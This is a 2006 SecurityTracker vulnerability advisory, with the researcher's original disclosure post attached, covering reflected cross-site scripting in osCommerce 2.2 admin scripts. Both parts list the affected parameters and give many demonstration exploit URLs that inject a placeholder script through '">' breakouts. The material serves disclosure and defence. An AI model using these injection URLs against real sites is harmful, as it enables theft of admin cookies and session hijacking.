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osCommerce Input Validation Holes in Admin Scripts Permit Cross-Site Scripting Attacks
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SecurityTracker Alert ID: 1017269
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SecurityTracker URL: http://securitytracker.com/id?1017269
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Nov 21 2006
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Impact: Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
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Exploit Included: Yes
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Version(s): 2.2 Milestone 2 Update 060817
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Description: Lostmon reported a vulnerability in osCommerce. A remote user can conduct cross-site scripting attacks.
Several scripts in the '/admin' folder do not properly filter HTML code from user-supplied input before displaying the input. A
remote user can create a specially crafted URL that, when loaded by an authenticated target administrative user, will cause arbitrary
scripting code to be executed by the target user's browser. The code will originate from the site running the osCommerce software
and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including
authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the
site, or take actions on the site acting as the target user.
The 'gID' parameter in 'configuration.php' is affected.
The 'set'
and related parameters in 'modules.php' are affected.
The 'option_order_by', 'value_page', 'option_page', and 'products_options_name'
parameters in 'products_attributes.php' are affected.
The 'lID' parameter in 'languages.php' is affected.
The 'selected_box'
and 'cID' parameters in 'customers.php' are affected.
The 'spage', 'zID', and 'sID' parameters in 'geo_zones.php' are affected.
Some
demonstration exploit URLs are provided:
http://[target]/catalog/admin/configuration.php?gID=1">[XSS-CODE]&cID=3
http://[target]/catalog/admin/modules.php?selected_
box=modules
&set=payment">[XSS-CODE]&osCAdminID=034e6def71e10f0ca58029e93fd361e5
http://[target]/catalog/admin/modules.php?set=payment
">[XSS-CODE]&module=pm2checkou
t
http://[target]/catalog/admin/modules.php?set=ordertotal
&module=ot_loworderfee">[XSS-CODE]&action=edit
http://[target]/catalog/admin/products_attributes.php?
a
ction=update_option&option_id=1&option_order_by=">
[XSS-CODE]&products_options_id&option_page=1
http://[target]/definitiva/admin/products_attributes.php?
option_orde
r_by=products_options_id&value_page=2">[XSS-CODE]
http://[target]/definitiva/admin/products_attributes.php?
option_page=1&option_order_by=products_options_name">[XSS-
CODE]
http://[target]/definitiva/admin/products_attributes.php?
action=update_option&option_id=1&option_order_by=products
_options_id&option_page=1">[XSS-CODE]
ht
tp://[target]/catalog/admin/products_attributes.php?
action=update_option&option_id=1&option_order_by=products
_options_id&option_page=1">[XSS-CODE]
http://[target]/
definitiva/admin/languages.php?page=1&
lID=3">[XSS-CODE]&action=new
http://[target]/definitiva/admin/customers.php?page=1
&cID=1[XSS-CODE]&action=edit
http://[tar
get]/catalog/admin/customers.php?selected_box=
customers">[XSS-CODE]
http://[target]/definitiva/admin/geo_zones.php?zpage=1&zID=1&
action=list&spage=1">[XSS-CODE]&sI
D=1&saction=edit
http://[target]/definitiva/admin/geo_zones.php?zpage=1&
zID=2">[XSS-CODE]&action=list&spage=1&sID=2&saction=edit
http://[target]/definitiva/admin/
geo_zones.php?zpage=1
&zID=1&action=list&spage=1&sID=1">[XSS-CODE]&saction=new
The vendor was notified on November 20, 2006.
The
original advisory is available at:
http://lostmon.blogspot.com/2006/11/oscommerce-multiple-xss-in-admin.html
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Impact: A remote user can access the target authenticated administrative user's cookies (including authentication cookies), if any, associated
with the site running the osCommerce software, access data recently submitted by the target user via web form to the site, or take
actions on the site acting as the target user.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.oscommerce.com/ (Links to External Site)
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Cause: Input validation error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: Lostmon <lostmon@gmail.com>
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Message History:
None.
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Source Message Contents
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Date: Tue, 21 Nov 2006 19:42:48 +0100
From: Lostmon <lostmon@gmail.com>
Subject: Oscommerce Multiple XSS in admin section. (Full Report)
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##########################################
Oscommerce Multiple XSS in admin section.
Vendor url:Http://www.oscommerce.com
Advisore:http://lostmon.blogspot.com/2006/11/
oscommerce-multiple-xss-in-admin.html
Vendor notify:YES Exploit available: YES
##########################################
osCommerce contains a flaw that allows a remote cross site
scripting attack.This flaw exists because the application does
not validate multiple params upon submission to multiple scripts
in /admin folder.This could allow a user to create a specially
crafted URL that would execute arbitrary code in a user's browser
within the trust relationship between the browser and the server,
leading to a loss of integrity.
####################
versions
####################
Oscommerce -2.2ms2-060817
###################
SOLUTION
###################
No solution was available at this time.
################
timeline
################
Discovered:29-10-2006
vendor notify:20-11-2006
vendor response
disclosure:21-11-2006
#################
Examples
#################
If the server have auth implemented
for exploit all of this flaws you
need to login , before.
-------------------------------
gID param in configuration.php
-------------------------------
http://[Victim]/catalog/admin/configuration.php?
gID=1">[XSS-CODE]&cID=3
--------------------------
Set param in modules.php
--------------------------
http://localhost/catalog/admin/modules.php?selected_box=modules
&set=payment">[XSS-CODE]&osCAdminID=034e6def71e10f0ca58029e93fd361e5
http://localhost/catalog/admin/modules.php?set=payment
">[XSS-CODE]&module=pm2checkout
http://localhost/catalog/admin/modules.php?set=ordertotal
&module=ot_loworderfee">[XSS-CODE]&action=edit
--------------------------------------------------
option_order_by ,value_page ,option_page ,products
_options_name in products_attributes.php
--------------------------------------------------
http://[Victim]/catalog/admin/products_attributes.php?
action=update_option&option_id=1&option_order_by=">
[XSS-CODE]&products_options_id&option_page=1
http://[Victim]/definitiva/admin/products_attributes.php?
option_order_by=products_options_id&value_page=2">[XSS-CODE]
http://[Victim]/definitiva/admin/products_attributes.php?
option_page=1&option_order_by=products_options_name">[XSS-CODE]
http://[Victim]/definitiva/admin/products_attributes.php?
action=update_option&option_id=1&option_order_by=products
_options_id&option_page=1">[XSS-CODE]
http://[Victim]/catalog/admin/products_attributes.php?
action=update_option&option_id=1&option_order_by=products
_options_id&option_page=1">[XSS-CODE]
----------------------------------------------------
lID param in languages.php
---------------------------------------------
http://localhost/definitiva/admin/languages.php?page=1&
lID=3">[XSS-CODE]&action=new
-------------------------------
selected_box,cID in customers.php
-------------------------------
http://localhost/definitiva/admin/customers.php?page=1
&cID=1[XSS-CODE]&action=edit
http://[Victim]/catalog/admin/customers.php?selected_box=
customers">[XSS-CODE]
-------------------------------
spage,zID,sID in geo_zones.php
-------------------------------
http://localhost/definitiva/admin/geo_zones.php?zpage=1&zID=1&
action=list&spage=1">[XSS-CODE]&sID=1&saction=edit
http://localhost/definitiva/admin/geo_zones.php?zpage=1&
zID=2">[XSS-CODE]&action=list&spage=1&sID=2&saction=edit
http://localhost/definitiva/admin/geo_zones.php?zpage=1
&zID=1&action=list&spage=1&sID=1">[XSS-CODE]&saction=new
######################## €nd #####################
Thnx to Estrella to be my ligth.
--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
--
La curiosidad es lo que hace mover la mente....
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